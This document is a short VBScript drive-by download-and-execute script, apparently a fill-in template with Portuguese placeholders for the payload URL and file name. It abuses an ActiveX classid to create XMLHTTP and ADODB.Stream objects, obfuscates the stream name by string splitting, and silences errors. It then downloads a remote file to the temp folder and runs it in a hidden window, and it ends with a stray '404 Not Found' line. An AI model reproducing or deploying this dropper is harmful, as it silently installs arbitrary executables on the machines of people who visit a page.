on error resume next



' due to how ajax works, the file MUST be within the same local domain

dl = "LINK DO PROGRAMA"



' create adodbstream object

Set df = document.createElement("object")

df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

str="Microsoft.XMLHTTP"

Set x = df.CreateObject(str,"")



a1="Ado"

a2="db."

a3="Str"

a4="eam"

str1=a1&a2&a3&a4

str5=str1

set S = df.createobject(str5,"")

S.type = 1



' xml ajax req

str6="GET"

x.Open str6, dl, False

x.Send



' Get temp directory and create our destination name

fname1="NOME DO PROGRAMA E A EXTENSÃO"

set F = df.createobject("Scripting.FileSystemObject","")

set tmp = F.GetSpecialFolder(2) ' Get tmp folder

fname1= F.BuildPath(tmp,fname1)

S.open

' open adodb stream and write contents of request to file

' like vbs dl+exec code

S.write x.responseBody

' Saves it with CreateOverwrite flag

S.savetofile fname1,2



S.close

set Q = df.createobject("Shell.Application","")

Q.ShellExecute fname1,"","","open",0







[rox] || 404 Not Found